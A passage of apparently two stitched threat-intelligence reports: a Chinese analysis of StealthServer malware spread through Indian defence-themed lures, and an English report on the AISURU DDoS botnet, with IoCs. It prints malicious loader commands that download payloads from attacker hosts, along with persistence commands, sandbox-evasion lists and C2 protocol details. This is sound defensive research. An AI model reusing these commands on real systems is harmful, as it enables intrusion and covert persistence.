2）C2 与该组织的基础设施存在关联，这点主要基于域名结构的相似性进行推测：StealthServer 使用的域名多模仿某国政府部门的站点或工具比如“modindia[.]serveminecraft.net”、“modgovindia[.]space”、“kavach[.]space”，这些 C2 与近期一些针对该组织基础设施相关的分析报告中提到的 IoC 存在命名结构上的相似性以及解析方面的关联性，比如“modindia[.]serveminecraft.net”和“modgovindia[.]space”在七月初解析到“101.99.94[.]109“，此外今年六月中旬还有另一个域名“zahcomputers.pk[.]modpersonnel.support”且只有该域名解析到这个 IP，这些域名与上述分析文章里提到的同期出现的疑似该组织使用的钓鱼域名比如“mod.gov.in[.]defencepersonnel.support”、“email.gov.in[.]modindia.link”等存在高度相似的结构，今年四月份 SEQRITE 发布的一份分析报告中提到该组织使用了大量类似上述“.support”、“.link”等结构的域名用于钓鱼。

3）部分分析报告和安全研究人员的公开数据将某些 C2 标记为该组织所属。

StealthServer 样本分析

Windows 和 Linux 平台的样本都使用 Golang 开发，且开发路径几乎一致，基本符合*/bossmaya/*/obfuscated*.go这一结构，我们收集了两种平台的一些开发路径如下所示。

EXE:
D:/bossmaya/linuxnewdownloader/windows-client/obfuscated_main.go
D:/bossmaya/newblkul/client/client_obfuscated.go
D:/bossmaya/newblkul/client/client.go

ELF:
D:/bossmaya/client/obfuscated_client.go
D:/bossmaya/newlinuxblkul/client/main_obfuscated.go
D:/bossmaya/newlinuxblkul/client/main_obfuscated_enhanced.go
/home/boss/Desktop/tgtfile/main_obfuscated_enhanced.go

样本加载方面，Windows 的样本使用包含恶意宏代码的 PPT 文档作为加载文件，Linux 的样本则使用该组织惯用的 .desktop 文件。尽管两种平台的样本在具体功能上略有差异，但仍表现出较多共性，除了高度相似的开发路径以外，还有类似的虚拟环境检测、持久化等方法。但综合来看，以下两点是两个平台的样本最突出的共同特征。

（1）相似的代码结构，前面大片的代码都是垃圾代码和垃圾函数调用，核心代码放在尾部，这可以有效拖慢分析过程，如下图所示。

（2）相似的垃圾代码机制，除了在样本开头放置大量垃圾代码以外，还会在关键代码的上下文插入垃圾代码，且某些垃圾函数使用了相同的代码实现，比如无意义的循环计算、无意义的加密解密算法等，如下所示是一个无意义的斐波那契序列实现。

Windows-V1: TCP

#Loader

Windows 变种的第一个版本出现在七月份，入口文件是一个名为 “PM & Est Sanction Final 2025.ppam” 的 PPT 文档，这个文档内含一段恶意宏脚本，可以用 oledump 工具提取出来，如下图所示。当用户设置允许 Office 文档的宏代码执行时，会自动执行下述宏代码，整个运行过程涉及两个 URL，其中第一个https://filestore[.]space/SoftsCompany/d/11/MES-Presentation是用于误导用户的 ppt，第二个https://filestore[.]space/SoftsCompany/d/14/nodejs是恶意载荷 StealthServer。

#StealthServer

1. 分析对抗

除了使用大量垃圾代码之外，StealthServer 还使用了较多手段来对抗分析，以及设置持久化驻留。

（1）反调试、反沙箱

① 执行命令tasklist /fi "imagename eq %s*" | find /i "%s"检测是否存在下述沙箱和虚拟机相关字符串的进程。

VMware
VirtualBox
VBOX
QEMU
Xen
Hyper-V
Parallels
KVM
Virtual
VM
vbox
vmware

② 调用 IsDebuggerPresent() 函数判断是否处于调试状态。
③ 获取 PEBDebugFlag 来判断是否处于调试状态。
④ 判断下述目录是否存在，如果存在则认为处于分析环境。

C:\\analysis
C:\\sandbox
C:\\malware
C:\\sample
C:\\virus
C:\\quarantine

⑤ 判断当前用户名是否是下述列表中之一，如果符合则则认为处于分析环境。

admin
administrator
sandbox
malware
virus
user
test
analyst
john
jane

（2）干扰流量

循环请求如下几个网站，干扰流量分析。

google.com
microsoft.com
cloudflare.com
amazon.com
facebook.com
httpbin.org

（3）隐藏终端窗口

调用如下 powershell 指令cmd /C powershell -WindowStyle Hidden -Command exit创建一个隐藏的终端窗口。

（4）互斥体检测

通过检查互斥体来判断是否已有同名实例在运行，对字符串nodejs_instance_mutex计算 sha256 之后拼接Global\\%x得到互斥体名称，随后执行下述指令进行检测cmd /C powershell -Command \"$mutex = New-Object System.Threading.Mutex($false, '%s'); if($mutex.WaitOne(0)) { exit 0 } else { exit 1 }

2. 持久化

（1）隐藏文件

把自身文件拷贝到%APPData目录下并改名为 nodejs.exe，执行attrib +h +s给文件添加隐藏属性和系统属性，使得文件不可见。

（2）注册表自启动

执行reg add HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v nodejs /t REG_SZ /d \"%s\" /f将 nodejs.exe 添加注册表自启动。

（3）自动启目录

在启动目录 Startup 下创建 .ps1 文件create_shortcut.ps1，使用 powershell 执行该脚本创建一个 lnk 文件System Update.lnk到\\Microsoft\\Windows\\Start Menu\\Programs\\Startup目录，文件路径指向 nodejs.exe。

$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut('%s')
$Shortcut.TargetPath = '%s'
$Shortcut.WorkingDirectory = '%s'
$Shortcut.WindowStyle = 7
$Shortcut.Save()

（4）计划任务

通过执行sc create "NodeJSUpdater" binPath= "%s" start= auto DisplayName= "Node.js Background Updater" type= own以及sc start "NodeJSUpdater"创建计划任务实现定期执行。

3. 网络通信

样本使用的服务器地址是modindia.serveminecraft[.]net，使用 TCP 协议收发 JSON 格式的数据进行交互，端口为 8080。上线包格式如下，id 字段硬编码在样本中，可能用于标记不同批次的样本或样本的版本，location 字段用“windows - ”拼接当前主机名，antivirus 字段表示杀软名。通信逻辑的上下文中也掺杂着大量垃圾代码，用于干扰分析过程。

{
  "id": "633734336633383138326436323966326463656638303966363166663933356163363239363364eae2d6e4",
  "location": "windows - DAJI0A22",
  "antivirus": "Unknown"
}

支持如下三个指令。

LIST：获取文件列表
UPLOAD：上传指定文件
DOWNLOAD：下载指定文件

Windows-V2: TCP

八月底发现了另外一个版本的 Windows 变种，文件名为 “proxifiersetup.exe”，该变种对核心功能函数的名字进行了混淆，开发路径为D:/bossmaya/newblkul/client/client_obfuscated.go，和下文介绍的 Linux 版本使用了相同的路径，而且提示信息里表明了该变种的名字为“ULTRA-CLIENT”。基本功能只发生了一点变化比如多了检测Ollydbg、x64dbg、IDA等安全分析工具的反调试的方法，其他方面没有太多变化。

网络通信方面，远程 C2 通过 XOR 加密，但实际还内置了两个备份 IP，C2 使用的端口都是8080。

sinjita[.]store
45.155.54[.]122
45.155.54[.]62

上线包稍微发生了一点变化，增加了一个os字段，id字段由随机生成的 8 个字节拼接而来，支持的三个指令LIST、UPLOAD、DOWNLOAD没变。

{
  "id": "ultra_client_6edc15ad7feac78f",
  "location": "Roubaix, Hauts-de-France, France - UltraPC(Rubin)",
  "os": "Microsoft Windows [�汾 10.0.22621.4317",
  "antivirus": "Windows Defender"
}

Windows-V3: WebSocket

八月底捕获了另一个变种，改为使用 WebSocket 协议通信，C2 服务器为ws://kavach[.]space:5500，功能与下面要介绍的 Linux 版本二相同，此处不作赘述。

Linux-V1: HTTP

#Loader

Linux 变种的第一个版本发现在八月初，入口样本是一个名为 “Meeting_Ltr_ID1543ops.pdf.desktop” 的文件，“.desktop”文件即 Linux 的快捷方式或程序启动器，类似 Windows 的 .lnk 快捷方式文件。频繁使用 .desktop 文件作为 loader 来投递不同工具，是该组织一个明显的行为特征。

这个 .desktop 文件表面上伪装成一个 PDF 文档的快捷方式，在桌面/菜单中显示的名字是 “Meeting_Ltr_ID1543ops.pdf”，执行后会打开用户机器上的 Firefox 浏览器访问一个 GoogleDrive 页面误导用户，这是一份标有 “CONFIDENTIAL（机密）” 的文件，内容大致是 “某国国防研究与发展组织（DRDO）与以色列国防企业在滑翔炸弹和高速系统（包括高超音速推进技术等）方面的研发联盟相关事宜”，这也符合该组织常用的钓鱼主题。

实际上会从远程恶意服务器下载一个文件 “Mt_dated_29.txt”，保存到 /tmp 目录下且命名格式为“/tmp/Meeting_Ltr_ID1543ops.pdf-$(date +%s)”。这个文件就是 StealthServer，但是是十六进制 HEX 格式的字符串内容，因此使用“xxd -r -p”命令将其恢复为二进制 ELF 文件，然后“chmod +x”之后执行。

curl -s "https://securestore[.]cv/ghg/Mt_dated_29.txt"

另一个变种的 Loader 使用十六进行 HEX 字符串的格式编码 URL，而非 base64，如下图所示变量 a 解码后是https://trmm[.]space/SoftsCompany/d/27/clipboard.txt，b 解码后是“firefox”，c 解码后是用于误导的 pdf 链接https://drive.google.com/file/d/1C-PH7EEOhv5gjYzKnsz_KGBe48454QGc/view?usp=sharing，功能是相同的，不再赘述。

#StealthServer

和 Windows 版本的样本不同，Linux 版本的 StealthServer 的代码进行了函数名混淆，开发路径为 D:/bossmaya/client/obfuscated_client.go。

1. Junk code/Junk Function

init 和 main 函数前面大部分内容都是 Junk Function 和 Junk Code，用于干扰分析，Junk Code 主要是执行无意义代码，包括两类，一类是比如包含空代码的大量循环和休眠，另一类是对一段无意义数据进行循环压缩/加密/解密。

2. 反调试

通过获取 /proc/self/status 文件的内容，判断里面包含的进程状态信息“TracerPid: N”。

• 如果 N = 0 → 没有被调试器跟踪。
• 如果 N ≠ 0 → 被某个调试器（如 gdb、strace）附加。

3. 持久化

（1）添加系统服务

首先在当前用户目录下创建如下目录结构，其中 “/home/username/.config/systemd/user/default.target.wants/system-update.service”是一个符号链接 指向“/home/username/.config/systemd/user/system-update.service”。

然后将自身 ELF 文件拷贝到“/home/username/.config/systemd/systemd-update”，并释放服务文件“/home/username/.config/systemd/user/system-update.service”，主要是保证样本一直处于运行状态，最后使用 systemctl 启动该服务，文件内容如下。

[Unit]
Description=System Update Service
After=network.target

[Service]
Type=simple
ExecStart=/home/username/.config/systemd/systemd-update
Restart=always
RestartSec=10
User=username

[Install]
WantedBy=default.target

（2）在 ~/.bashrc 和 ~/.profile 文件尾部增加启动指令

~/.bashrc是 bash shell 的配置文件，在 shell 启动时加载并执行其中的预配置指令，~/.profile用于环境变量、用户登录时的初始化操作，增加的指令如下，用于在后台启动样本。

# System update service
nohup /home/username/.config/systemd/systemd-update >/dev/null 2>&1 &

4. 网络通信：支持三个指令

C2 服务器地址为“modgovindia[.]space”，和 Windows 版本的域名“modindia.serveminecraft[.]net”解析到了相同的 IP 地址“101.99.94[.]109”。具体通信过程如下，首先 HTTP 请求 “http://modgovindia[.]space:4000/health”，判断服务器是否活跃，响应内容中的 service 字段指明了该工具的名字。

然后请求http://modgovindia[.]space:4000/commands，尝试获取指令，响应内容是 JSON 格式，支持下面三个指令。最后把执行完的命令的结果通过请求http://modgovindia[.]space:4000/command-response响应给 C2。

1）'browse'
遍历指定目录下的文件列表，响应内容中的 'path' 字段指示了目标路径。
2）'upload'
上传指定文件。
3）'execute'
执行 bash 命令。

5. 窃取文件

从根目录/开始遍历，搜索所有如下后缀的文件。

.pdf
.doc
.xls
.ppt
.txt
.zip
.rar

当遍历到上述后缀的文件，首先发送一个 GET 请求通知服务器，X-Username 字段是当前用户的名字。

然后执行 POST 请求“/upload?last=true”把文件发送到远程服务器，X-Username 用于标记当前用户名，便于服务器识别对应文件属于哪一个用户，X-File-Name 是 base64 编码的文件名。文件内容经过 AES-GCM 算法加密，加密过程是首先获取硬编码在样本中的一个字符串，进行 sha256 计算之后作为 AES 的 key，然后随机生成 12 字节作为 GCM 的 Nonce，并保存在请求中的 X-Nonce 字段，最后加密完毕得到的 16 字节 Tag 数据附加在文件密文尾部，一起发送到远程服务器。

以上图发送的文件为例，样本中硬编码的 AES.key 原始字符串为617d6e6f298505d2855f3f85e30a971a01bee4fb9417456d2e11090e170e80ea，因此能够还原得到下述文件内容。

Linux-V2: WebSocket

#Loader

八月中旬发现了另一个 Linux 版本的样本，入口是一个名为 “PROCUREMENT_OF_MANPORTABLE_&_COMPAC.pdf.desktop” 的文件，内容包含三千多行注释，在文件中部包含了实际会执行的指令。执行逻辑基本同 HTTP 版本的样本，只不过 cmd 指令通过 base64 编码。

同样地，打开 Firefox 浏览器访问下述 GoogleDrive 页面欺骗用户，这是一份名为 “Draft RFI for PDS 18 Aug 25 Final.pdf” 的文件，内容大概是 “转发关于《征询信息（RFI）》的草案，用于采购“可携带、轻便的被动探测与对抗措施系统（LWPD-CMS）””。

firefox --new-window "https://drive.google.com/file/d/1kn0L_6WYbfUUx0dmzwfALDnzkVHJAPTu/view?usp=drive_link"

StealthServer 的 Payload 也是一份十六进制 HEX 格式的字符串文件，经过“xxd -r -p”指令即可转换为 ELF 文件，添加可执行权限之后运行程序。

eaMXJW="--fail --location --show-error"; curl ${eaMXJW} "https://drive.google.com/uc?export=download&id=1VQQiTt78N3KpYJzVbE-95uILnO84Wz_-" | xxd -r -p

#StealthServer

这个变种的开发路径是 “D:/bossmaya/newlinuxblkul/client/main_obfuscated_enhanced.go”，标记为增强版，同样使用了大量垃圾代码，但函数名并没有进行混淆。

1. 持久化

不同的是这个变种可以接受一个参数“--hidden”，当传入这个参数时会跳过持久化的部分。持久化的逻辑是把自身 ELF 文件拷贝到“~/.config/system-backup/”目录下，然后添加 crontab 计划任务命令@reboot %s > /dev/null 2>&1，这会使每次系统重启后自动运行拷贝后的 ELF 文件，并且完全隐藏它的输出。随后添加下述系统任务“system-backup.service”保证持续运行。

[Unit]
Description=System Backup Service
After=network.target

[Service]
Type=simple
ExecStart=%s
Restart=always
RestartSec=10
User=%s

[Install]
WantedBy=default.target

2. 网络通信

该变种通信协议改为 WebSocket 协议，但数据包还是使用 JSON 格式，C2 经过 base64 编码：“d3M6Ly9zZWVteXNpdGVsaXZlLnN0b3JlOjgwODAvd3M=”，解码后得到ws://seemysitelive[.]store:8080/ws。当连接成功之后客户端响应如下信息，其中包括"Welcome to Stealth Server"。

{
  "type": "welcome",
  "client_id": "fd77350b-d70b-4978-bc54-bc5b16843904",
  "data": "Welcome to Stealth Server",
  "timestamp": "2025-08-20T03:04:07.8960862-07:00"
}

然后向 C2 发送如下客户端信息。

{
  "type": "client_info",
  "client_id": "7a8dfc96-eea9-4c46-8e48-0ddb2dd2be41",
  "data": {
    "current_dir": "/tmp",
    "hostname": "buffalo",
    "ip_address": "35.*.*.48",
    "location": "Council Bluffs, Iowa, United States",
    "os": "linux",
    "username": "root"
  },
  "timestamp": "2025-08-20T10:04:07.538478245Z"
}

随后客户端和服务端每隔 30 秒互相向对方发送心跳信息。

response：
{
  "type": "heartbeat",
  "timestamp": "2025-08-20T03:04:37.8972773-07:00"
}

sendto：
{
  "type": "heartbeat_response",
  "client_id": "7a8dfc96-eea9-4c46-8e48-0ddb2dd2be41",
  "timestamp": "2025-08-20T10:04:36.244598102Z"
}

支持如下几个指令：

browse_files：发送指定路径的文件列表
upload_execute：上传指定文件
start_collection：搜索指定后缀的文件
ping
welcome
heartbeat

结论

该组织攻击活动频繁，呈现工具多、变种多、投递频率高等特点。若您对此话题感兴趣，欢迎通过 X 与我们联系。

IoC

Samples：
dc64c34ba92375f8dc8ae8cf90a1f535a0aa5a29fcf965af5ad4982cd16e9d71
8f8da8861c368e74b9b5c1c59e64ef00690c5eff4a95e1b4fcf386973895bef1
6347f46d77a47b90789a1209b8f573b2529a6084f858a27d977bf23ee8a79113
662890bb5baba4a7a9ba718bdedd6991fbf9867c83e676172f5527617e05cafa
264d88624ec527458d4734eff6f1e534fcacb77e5616ae61abed94a941389232
56260e90bba2c50af7c6d82e8656224ece23445f1d76e87a97c938ad9883005f
499f16ed2def90b3d4c0de5ca22d8c8080c26a1a405b4078e262a0a34bcb1e31
7a946339439eb678316a124b8d700b21de919c81ee5bef33e8cb848b7183927b
10b54abba525686869c9da223250f70270a742b1a056424c943cfc438c40cc50
ece1620e218f2c8b68312c874697c183f400c72a42855d885fc00865e0ccc1a1
ab85924ba95692995ac622172ed7f2ebc1997450d86f5245b03491422be2f3d6
cf39bb998db59d3db92114d2235770a4a6c9cbf6354462cfedd1df09e60fe007

Domain：
modindia[.]serveminecraft.net
modgovindia[.]space
seemysitelive[.]store
solarwindturbine[.]site
sinjita[.]store
sinjita[.]space
seeconnectionalive[.]website
windturbine[.]website 
kavach[.]space
zahcomputers.pk[.]modpersonnel.support
discoverlive[.]site
cloudstore[.]cam

IP：
45.155.54[.]122	Switzerland|Zurich|Zürich	AS200019|ALEXHOST SRL
45.155.54[.]62	Switzerland|Zurich|Zürich	AS200019|ALEXHOST SRL
45.155.54[.]28	Switzerland|Zurich|Zürich	AS200019|ALEXHOST SRL
45.155.53[.]179	Switzerland|Zurich|Zürich	AS200019|ALEXHOST SRL
45.155.53[.]204	Switzerland|Zurich|Zürich	AS200019|ALEXHOST SRL
45.141.58[.]199	The Netherlands|Flevoland|Dronten	AS213373|IP Connect Inc
101.99.94[.]109	Bulgaria|Sofia-Capital|Sofia	AS45839|Shinjiru Technology Sdn Bhd
164.215.103[.]55	The Netherlands|Flevoland|Dronten	AS213373|IP Connect Inc
161.97.82[.]97	France|Grand Est|Lauterbourg	AS51167|Contabo GmbH
5.178.0[.]29	The Netherlands|Flevoland|Dronten	AS213373|IP Connect Inc

Golang path：
D:/bossmaya/linuxnewdownloader/windows-client/obfuscated_main.go
D:/bossmaya/newlinuxblkul/client/main_obfuscated.go
D:/bossmaya/newlinuxblkul/client/main_obfuscated_enhanced.go
D:/bossmaya/client/obfuscated_client.go
D:/bossmaya/newblkul/client/client.go
D:/bossmaya/newblkul/client/client_obfuscated.go
/home/boss/Desktop/tgtfile/main_obfuscated_enhanced.go

Since 2025, peak bandwidth for global DDoS attacks has repeatedly broken historical records, rising from 3.12 Tbps at the start of the year to a staggering 11.5 Tbps recently. In multiple high-impact or record-breaking attack incidents, we consistently observed a botnet named AISURU operating behind the scenes.

The AISURU botnet was first disclosed by XLab in August 2024 and participated in DDoS attacks against the distribution platform for the game "Black Myth: Wukong." Since March of this year, XLab's Cyber Threat Insight and Analysis System(CTIA) has continuously captured new samples of the botnet. Multiple sources indicate the group allegedly compromised a router firmware update server in April and distributed malicious scripts to expand the botnet. The node count is currently reported to be around 300,000.

More alarmingly, some AISURU samples embed "Easter egg" messages that go beyond pure attack intent and attempt to convey certain ideological content. Given this serious situation, we decided to write this report to publicly share our findings with the security community and call on all parties to join forces to combat this increasingly rampant cybercriminal activity.

Anonymous Source & XLab Visibility

XLab has long been deeply involved in DDoS research and continually publishes reliable, in-depth analysis, earning a strong reputation among defenders and within attacker circles. Recently, an anonymous informed source provided intelligence about the AISURU/AIRASHI botnet, hoping to dismantle AISURU similarly to the effort against the Fodcha botnet. This lead allowed us to get closer to the group behind AISURU and unveil the botnet's operations.

Anonymous Source

We have got the authorization from the source that it's okay to publish the conversations.

According to the anonymous source, the AISURU group has three key figures codenamed Snow, Tom, and Forky. In 2022, Forky met Snow and Tom when they were still small-time. After several successful collaborations including the catddos botnet, the three formed the AISURU team.

• Snow: responsible for botnet development
• Tom: responsible for vulnerabilities, including discovering 0-days and integrating N-days
• Forky: responsible for botnet sales

In April 2025, Tom successfully breached a totolink router firmware update server and set the firmware upgrade URL to download and execute a malicious script. This means any totolink router that performed the update could be infected by AISURU.

This intrusion rapidly increased AISURU's scale, surpassing 100,000 devices in a short time. Faced with such a vast size, the group was somewhat unprepared and had to work overtime configuring strategies on several C2 IPs and using GRE TUNNEL to distribute traffic.

The members of the AISURU group act flamboyantly and often launch highly destructive attacks on ISPs under the pretext of "for fun." As they even mentioned in their samples, "I don't feel right as myself, with my failing mental health," they are often being mockingly referred to as "mentally unstable," which has earned them a very bad reputation in the DDoS community, making countless enemies.

By late April, AISURU’s "enemies" began leaking details on social media. The first shot came under a Cloudflare post about mitigating a record 5.8 Tbps attack, where someone replied: “This came from 340k Totolink routers!” A few days later, they dropped heavier evidence—a leaked screenshot of the botnet panel showing over 300,000 active bots, including about 30,000 from China. With the taunt "welcome to totolink botnet" and tags to Totolink and Interpol, the leaks were clearly aimed at drawing public and law enforcement attention to take down AISURU.

Currently, the totolink update server vulnerability has been patched. The AISURU group jokingly posted RIP TOTOLINK 2025-2025, but the botnet's scale was not affected and remains around 300k nodes.

Before the record 12.1 Tbps event in September 2025, AISURU ran several attack tests, including an attack on security journalist Brian Krebs' personal site; the attack traffic set "world records" at those times.

Interestingly, "Ethan J Foltz" is the real name of the Rapper Botnet's author, who was arrested on 2025-08-06; the ID "Ethan J Foltz" used below was actually Snow, who used it to mock Rapperbot — possibly a reason AISURU drew ire in the DDoS community.

XLab Visibility

For readers wondering about the credibility of the anonymous source — "This is an interesting rumor, but how reliable is it?" — while we may not be able to verify the persons, XLab's Cyber Threat Insight and Analysis System provides solid visibility into samples, C2 servers, and attack events. Using the group's key activities as anchors and cross-referencing datasets, we believe the attack incident intelligence provided by the anonymous source is highly credible.

1: Malicious script t.sh implanted into totolink update server in April 2025

From the 26th, the script began using the domain updatetoto.tw. We used domain ranking system Tranco to measure its activity.

Using the ranking from April 29 to May 30 as an example, the downloader domain updatetoto.tw — created on April 25 — rose to rank 672,588 globally within one month, proving the AISURU group's infection campaign was highly successful.

2: C2 IPs enabling GRE TUNNEL in April 2025

The AISURU group configured GRE Tunnels on four IPs: 151.242.2.22 to 151.242.2.25. These serve as C2 servers.

In April, we also captured the C2 domain approach.ilovegaysex[.]su; its TXT record, once decoded, covered these four IPs, indicating the C2 belonged to the AISURU group.

3: May 2025 attack on KrebsOnSecurity

By tracking commands from the malicious ilovegaysex domain's C2 servers, we detected an attack on security reporter Brian Krebs' personal blog in May.

4: September 2025 attack on 185.211.78.117

By tracking commands from C2 servers, we observed an attack in September against 185.211.78.117 with an astonishing 11.5 Tbps of traffic.

Sample Propagation

Leveraging the capabilities of the XLab's Cyber Threat Insight and Analysis System, we have observed that Aisuru samples have recently been spreading primarily via NDAY vulnerabilities, while also possessing the ability to exploit 0DAY vulnerabilities. The 0DAY affecting cnPilot routers from Cambium Networks (USA), first exploited in June of last year, is still being actively used. Some of the vulnerabilities leveraged by Aisuru for sample propagation are as follows：

Attack Statistics

The Aisuru botnet has launched attacks worldwide, spanning multiple industries. Its primary targets have been located in regions such as China, the United States, Germany, the United Kingdom, and Hong Kong. The attacks show no strong signs of selectivity, with several hundred targets hit on a daily basis.

DDoS attack trends：

Geographic distribution of victims：

Technical Analysis

Starting on March 14, 2025, the AISURU group began distributing new bot samples. Comparing them with known source code, we found updates mainly focused on encryption methods, and the updates can be divided into two major versions.

1. Version 1 updates: use ECDH-P256 for key exchange, then derive a shared ChaCha20 key for encrypting network messages; DNS-TXT record decoding changed from base64+ChaCha20 to base64+XOR; new attack commands and message formats.

2. Version 2 updates: streamlined network protocol by removing ECDH-P256 key exchange; modified xxhash algorithm for message integrity verification; modified RC4 algorithm for decrypting sample strings and communication keys.

Version 1 lasted only about half a month; subsequent samples primarily used Version 2. The following analysis focuses on Version 2 samples, emphasizing AISURU's anti-analysis techniques, encryption, and network protocol.

Environment Detection

On startup, the sample checks whether the current process command line contains any of the following strings:

tcpdump
wireshark
tshark
dumpcap

It also checks the kernel's hardware identifier for strings such as:

VMware
VirtualBox
KVM
Microsoft
QEMU

If any of these are detected, the program exits to hinder dynamic analysis.

Killer Evasion

Linux has an OOM Killer (Out-Of-Memory Killer) that terminates processes when system memory is low. The sample disables this by writing -1000 to /proc/self/oom_score_adj to gain more runtime.

As competitors often fight over compromised devices, device takeover is fiercely contested. For example, AISURU and Rapperbot have intense competition over nvms9000 devices. When AISURU takes a device, they often taunt Rapperbot publicly.

Many botnets compile statically for cross-platform compatibility, avoid shared libraries, and delete their binary after execution. Other botnets use these behaviors as signals to kill competitors. To counter those killer tactics, the sample searches /lib/ for .so shared libraries and maps them into the current process; it does not delete its file and renames it to libcow.so. The process name is also checked; the sample replaces the process name with one of several common names:

telnetd
udhcpc
inetd
ntpclient
watchdog
klogd
upnpd
dhclient

Modified RC4 Algorithm

Compared to previous AIRASHI versions, the new sample no longer uses the standard RC4 algorithm to decrypt strings, nor does it use standard HMAC-SHA256 for message verification.

The new sample uses a modified RC4 algorithm with the key PJbiNbbeasddDfsc, which has not changed across multiple versions and may be a nod to the Fodcha botnet. The algorithm retains RC4's 256-byte S-box but adds new perturbations during initialization and keystream generation. An equivalent Golang implementation is shown below:

func AIRASHI_RC4(data []byte) []byte {
	key := make([]uint32, 4)
	keyBytes := []byte("PJbiNbbeasddDfsc")
	for i := 0; i < 4; i++ {
		key[i] = binary.BigEndian.Uint32(keyBytes[i*4 : (i+1)*4])
	}

	S := make([]byte, 256)
	i := 13
	for j := 0; j < 256; j++ {
		S[j] = byte(i & 0xff)
		i -= 89
	}

	j := 0
	for i := 0; i < 256; i++ {
		j = (j + int(S[i]) + int(key[i%4]>>(i%32))) % 256
		S[i], S[j] = S[j], S[i]
	}

	seed := uint32(0xE0A4CBD6)
	for i := 0; i < 5; i++ {
		for k := 0; k < 256; k++ {
			seed = 0x41C64E6D*seed + 12345
			t := (seed * uint32(S[k])) >> 24
			t1 := (seed ^ key[(i+k)%4] ^ uint32(S[k])) & 0xff
			S[k] = byte(t1)
			j = (int(t1) + j + int(t)) & 0xff
			S[k] = S[j]
			S[j] = byte(t1)
		}
	}

	i, j, k := 0, 0, 0
	m := uint32(1)
	result := make([]byte, 0, len(data))
	for _, byteVal := range data {
		i = (i + 1) % 256
		j = (j + int(S[i])) % 256
		k = (k + int(S[(i+j)%256])) % 256
		S[i], S[j] = S[j], S[i]
		m = rol32(m, 1)
		if (m & 1) != 0 {
			m ^= 0xD800A4
		}
		t := (S[(k+j)%256] + S[(j+i)%256]) & 0xff
		t1 := ((byte(m) ^ S[t]) >> 4) ^ rol8(byte(m)^S[t], 3)&0xff
		result = append(result, byteVal^t1)
	}
	return result
}

The decrypted example ciphertext below yields a taunting plaintext.

After decrypting with AIRASHI_RC4, the plaintext reads provocatively: "tHiS mOnTh At qiAnXin shitlab a NeW aisurU vErSiOn hIt oUr bOtMoN sYsTeM dOiNg tHe CHAaCha sLiDe". Our only reply: "Are you feeling itchy?"

C2 Extraction

The sample keeps the previous C2 decoding method: decrypt strings from a table, split by | to obtain multiple subdomains and the main domain, then split subdomains by , to form FQDNs. Example:

decrypted str: sub1,sub2,sub3|domain.tld

c2_1: sub1.domain.tld
c2_2: sub2.domain.tld
c2_3: sub3.domain.tld

When parsing domains, the sample still uses encrypted TXT records. Prior blog samples used base64+ChaCha20 for decoding; the new version abandons ChaCha20 and uses XOR to obtain IPs. See the Appendix CyberChef recipe for decoding details.

Network Speed Test

Recent versions added an upload speed test feature using the public Speedtest service:

1. GET /speedtest-servers-static.php to fetch test servers
2. GET /speedtest/latency.txt to find the lowest-latency server
3. POST random data to the lowest-latency server for 10s (some samples use 100ms)

This feature does not affect program execution or C2 connectivity; it only reports results back to C2. We believe the purpose is to identify nodes with good network performance for later proxy instructions. C2 can assign high-quality nodes to serve as residential proxies.

Network Protocol

Protocol-wise, the flow remains similar to previous versions: obtaining a shared ChaCha20 key and confirmation, but message formats and encryption algorithms were modified.

A new message consists of three parts: a header, random bytes, and a body. The following image shows a decoded login packet:

The header has a fixed length of 8 bytes and contains four fields:

msgType (1 byte) + randSize (1 byte) + bodySize (2 bytes) + bodyHash (4 bytes)

The login packet structure includes the following fields:

struct login{
	uint32 stun_ip;  
	uint32 botid_len;
	char botid[botid_len];
	uint32 version;
	uint32 nodename_len;
	char nodename[nodename_len];
	uint32 cwd_len;
	char cwd[cwd_len];
	uint32 kernel_ver_len;
	char kernel_ver[kernel_ver_len];
	uint16 reserve1;
	uint8 reserve2;
	bool support_udp;
}

Newly supported message types and descriptions:

You can see the new samples support not only DDoS attacks but also Proxy functionality. As global law enforcement increases pressure on cybercrime, demand for anonymization services is rising. Where there is demand, there is profit. Nodes controlled by botnets are natural building blocks for residential proxy services. From our case collection, this appears to be a trend in the DDoS scene in recent years: expanding business from single-purpose attacks to proxy offerings.

We implemented the AISURU protocol in the XLab instruction tracking system and, as expected, observed not only conventional DDoS commands but also proxy-related instructions.

Clearly, AISURU is no longer satisfied with a single DDoS business model and is branching into proxy services to monetize its large node pool.

IoC

C2

coerece[.ilovegaysex[.su
approach[.ilovegaysex[.su
ministry[.ilovegaysex[.su
lane[.ilovegaysex[.su
a.6mv1eyr328y6due83u3js6whtzuxfyhw[.ru

Report/Download Server

u[.ilovegaysex[.su
updatetoto[.tw

Proxy Relay C2

194.46.59[.169	United Kingdom|England|Exeter	AS206509|KCOM GROUP LIMITED
104.171.170[.241	United States|Virginia|Ashburn	AS7922|Comcast Cable Communications, LLC
104.171.170[.253	United States|Virginia|Ashburn	AS7922|Comcast Cable Communications, LLC
107.173.196[.189	United States|New York|Buffalo	AS36352|ColoCrossing
64.188.68[.193	United States|District of Columbia|Washington	AS46339|CSDVRS, LLC
78.108.178[.100	Czech Republic|Praha, Hlavni mesto|Prague	AS62160|Yes Networks Unlimited Ltd

Sample

09894c3414b42addbf12527b0842ee7011e70cfd
51d9a914b8d35bb26d37ff406a712f41d2075bc6
616a3bef8b0be85a3c2bc01bbb5fb4a5f98bf707
ccf40dfe7ae44d5e6922a22beed710f9a1812725
26e9e38ec51d5a31a892e57908cb9727ab60cf88
08e9620a1b36678fe8406d1a231a436a752f5a5e
053a0abe0600d16a91b822eb538987bca3f3ab55

Appendix

CyberChef

https://gchq.github.io/CyberChef/#recipe=Fork('%5C%5Cn','%5C%5Cn',false)From_Base64('A-Za-z0-9%2B/%3D',true,false)XOR(%7B'option':'Hex','string':'ca%20fe%20ba%20be'%7D,'Standard',false)To_Hex('Space',0)Change_IP_format('Hex','Dotted%20Decimal')&input=Im9XamNxZz09Ig0KIm9XamVuZz09Ig0KIm9XallCdz09Ig0KIjU2NGtMZz09Ig&ieol=CRLF

2025年以来，全球DDoS攻击的带宽峰值不断刷新历史纪录，从年初的3.12 Tbps一路飙升至近日惊人的11.5 Tbps。在多起具有高影响力或打破流量纪录的攻击事件中，我们均监测到一个名为AISURU的僵尸网络在幕后频繁活动。

